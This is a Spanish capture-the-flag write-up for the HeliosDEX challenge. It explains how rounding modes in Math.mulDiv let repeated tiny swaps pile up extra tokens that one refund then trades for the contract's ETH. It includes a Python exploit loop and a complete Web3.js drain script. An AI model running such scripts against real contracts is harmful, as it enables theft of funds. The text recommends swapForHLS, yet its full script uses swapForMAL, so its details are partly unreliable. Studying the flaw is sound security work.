HeliosDEX - Cyber Apocalypse 2025
Este reto de DEFI consiste en explotar un DEX que utiliza operaciones aritméticas peligrosas de la librería Math.sol
de OpenZeppelin.
El objetivo es repetir intercambios acumulando errores de redondeo y finalmente vaciar el balance del contrato con un único trade de reembolso.
Descripción
Tras derrotar a Eldorion, el camino hacia la ciudad de Eldoria queda abierto. Sin embargo, pronto encuentras una estructura brillante: HeliosDEX, un exchange descentralizado impulsado por la energía radiante de Helios. Los viajeros lo usan para acumular fortunas antes de aventurarse en Eldoria. ¿Podrías aprovechar esta oportunidad?
Conocimientos necesarios
- Comprensión básica de Solidity y estándar ERC20.
- Conocer operaciones aritméticas y comportamiento de redondeo en Solidity (
Math.mulDiv()
). - Explotación de vulnerabilidades en mecanismos de swap y refund.
Conocimientos adquiridos
- Identificar cómo los distintos modos de redondeo (
Floor
,Ceil
,Expand
) deMath.sol
afectan los cálculos en los swaps.
Escenario
Se nos proporcionan dos contratos:
- Un contrato
Setup.sol
clásico que inicializa el reto. - El contrato vulnerable
HeliosDEX.sol
, que actúa como un DEX que permite intercambiar entre 3 tokens:- EldorionFang (ELD)
- MalakarEssence (MAL)
- HeliosLuminaShards (HLS)
Análisis del código
Setup.sol
El contrato Setup
inicializa el HeliosDEX
con:
- 1000 unidades de cada token
- 1000 ETH de reserva inicial
La condición de victoria es lograr que tu balance supere los 20 ETH, partiendo de un balance inicial de ~12 ETH.
HeliosDEX.sol
El contrato crea 3 tokens ERC20 y permite intercambiarlos mediante funciones swapForELD()
, swapForMAL()
y swapForHLS()
.
Cada swap utiliza Math.mulDiv()
con un modo de redondeo diferente:
Función | Modo de Redondeo | Efecto |
---|---|---|
swapForELD | Floor (0) | Redondea hacia abajo |
swapForMAL | Ceil (1) | Redondea hacia arriba |
swapForHLS | Expand (3) | Siempre redondea hacia arriba |
Además, existe una función oneTimeRefund()
que:
- Permite devolver tokens a cambio de ETH.
- Solo puede usarse una vez por dirección.
Vulnerabilidad
La clave es:
- Aprovechar el redondeo favorable en
swapForMAL()
y especialmente enswapForHLS()
. - Realizar múltiples swaps acumulando tokens extra debido al redondeo.
- Usar
oneTimeRefund()
para canjear todos los tokens acumulados por ETH de una sola vez.
El exploit será más efectivo utilizando swapForHLS()
, ya que permite redondeo en Expand, consiguiendo siempre tokens extra.
Explotación
El método consiste en repetir swapForHLS()
muchas veces con cantidades pequeñas para acumular HLS que posteriormente devolveremos por una gran cantidad de ETH con un solo refund()
.
Nota:
swapForMAL()
solo permitiría alcanzar un máximo de 1.5x de ganancia, mientras queswapForHLS()
puede superar el x2 requerido.
Ejemplo de exploit simplificado
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
trade_cost = 10**17 + 1
while True:
n_trades += 1
print(f"\n\n[+] Trade #{n_trades}")
# Realizamos swaps con efecto de redondeo
csend(target_addr, "swapForHLS()", value=str(trade_cost))
# Verificamos ganancias en tokens HLS
hls_balance = int(ccall(hls_token, "balanceOf(address)(uint256)", player_account.address))
print(f"[+] HLS acumulados: {hls_balance}")
eth_gain = ((hls_balance - prev_hsl_balance) * (10**18 / exchange_ratio_hsl)) - trade_cost
total_eth_gain = (hls_balance * (10**18 / exchange_ratio_hsl)) - (trade_cost) * n_trades
print(f"[+] Ganancia estimada en ETH: {total_eth_gain}")
prev_hsl_balance = hls_balance
# Paramos cuando superamos las 20 ETH proyectadas
if total_eth_gain >= 10e18:
break
Detalle adicional
Los contratos usan Math.mulDiv()
de OZ sin cuidado al escoger los modos de redondeo:
- Algunos modos dan ventaja al contrato (
Floor
). - Otros permiten exploits directos (
Ceil
yExpand
).
Esto permite a un atacante realizar swaps que sistemáticamente obtienen más tokens de lo debido.
Script completo (JS)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
require("dotenv").config();
const Web3 = require("web3"); // <-- Use Web3 as the default export, not a named export
const { setupABI, heliosDexABI, erc20ABI } = require('./abis');
async function main() {
// 1. Initialize Web3
const rpcUrl = process.env.RPC_URL;
const web3 = new Web3(rpcUrl); // Pass the RPC URL directly
// 2. Load your private key and wallet account
const privateKey = process.env.PRIVATE_KEY;
const account = web3.eth.accounts.privateKeyToAccount(privateKey);
web3.eth.accounts.wallet.add(account);
web3.eth.defaultAccount = account.address;
// 3. Addresses
const setupAddress = process.env.SETUP_ADDRESS;
// 4. Instantiate Setup contract
const setupContract = new web3.eth.Contract(setupABI, setupAddress);
// 5. Retrieve the HeliosDEX address
const heliosDexAddress = await setupContract.methods.TARGET().call();
console.log("HeliosDEX Address:", heliosDexAddress);
// 6. Instantiate the HeliosDEX contract
const heliosDex = new web3.eth.Contract(heliosDexABI, heliosDexAddress);
// 7. Retrieve the MAL token address
const malakarEssenceAddr = await heliosDex.methods.malakarEssence().call();
console.log("MalakarEssence Token Address:", malakarEssenceAddr);
// 8. Instantiate the MAL contract
const malakarEssence = new web3.eth.Contract(erc20ABI, malakarEssenceAddr);
// 9. Check initial MAL balance
let myMalBalance = await malakarEssence.methods.balanceOf(account.address).call();
console.log("Initial MAL balance:", myMalBalance);
// 10. Exploit: call swapForMAL() many times with 1 wei each
console.log("Performing repeated swaps of 1 wei for MAL...");
const swapCount = 100;
for (let i = 0; i < swapCount; i++) {
await heliosDex.methods.swapForMAL().send({
from: account.address,
value: 1, // 1 wei
gas: 200000
});
process.stdout.write(".");
}
console.log("\nSwaps complete!");
// 11. Check MAL balance
myMalBalance = await malakarEssence.methods.balanceOf(account.address).call();
console.log("MAL balance after exploit:", myMalBalance);
// 12. Approve HeliosDEX to spend MAL
console.log("Approving MAL for refund...");
await malakarEssence.methods.approve(heliosDexAddress, myMalBalance).send({
from: account.address,
gas: 100000
});
// 13. oneTimeRefund(): MAL => Ether
console.log("Requesting oneTimeRefund of MAL for ETH...");
await heliosDex.methods.oneTimeRefund(malakarEssenceAddr, myMalBalance).send({
from: account.address,
gas: 200000
});
// 14. Check final Ether balance
const finalBalanceWei = await web3.eth.getBalance(account.address);
console.log("Final ETH balance (wei):", finalBalanceWei);
const finalBalanceEth = web3.utils.fromWei(finalBalanceWei, "ether");
console.log("Final ETH balance (ETH):", finalBalanceEth);
// 15. Check if challenge is solved
const isSolved = await setupContract.methods.isSolved().call();
console.log("isSolved()?", isSolved);
}
main().catch((err) => {
console.error(err);
process.exit(1);
});
Abi:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
// abis.js
const setupABI = [
{
"type": "function",
"stateMutability": "view",
"name": "TARGET",
"inputs": [],
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
]
},
{
"type": "function",
"stateMutability": "view",
"name": "isSolved",
"inputs": [],
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
]
}
];
const heliosDexABI = [
{
"type": "function",
"stateMutability": "payable",
"name": "swapForMAL",
"inputs": [],
"outputs": []
},
{
"type": "function",
"stateMutability": "nonpayable",
"name": "oneTimeRefund",
"inputs": [
{ "internalType": "address", "name": "item", "type": "address" },
{ "internalType": "uint256", "name": "amount", "type": "uint256" }
],
"outputs": []
},
{
"type": "function",
"stateMutability": "view",
"name": "malakarEssence",
"inputs": [],
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
]
}
];
const erc20ABI = [
{
"type": "function",
"stateMutability": "view",
"name": "balanceOf",
"inputs": [
{
"internalType": "address",
"name": "owner",
"type": "address"
}
],
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
]
},
{
"type": "function",
"stateMutability": "nonpayable",
"name": "approve",
"inputs": [
{
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
]
}
];
module.exports = {
setupABI,
heliosDexABI,
erc20ABI
};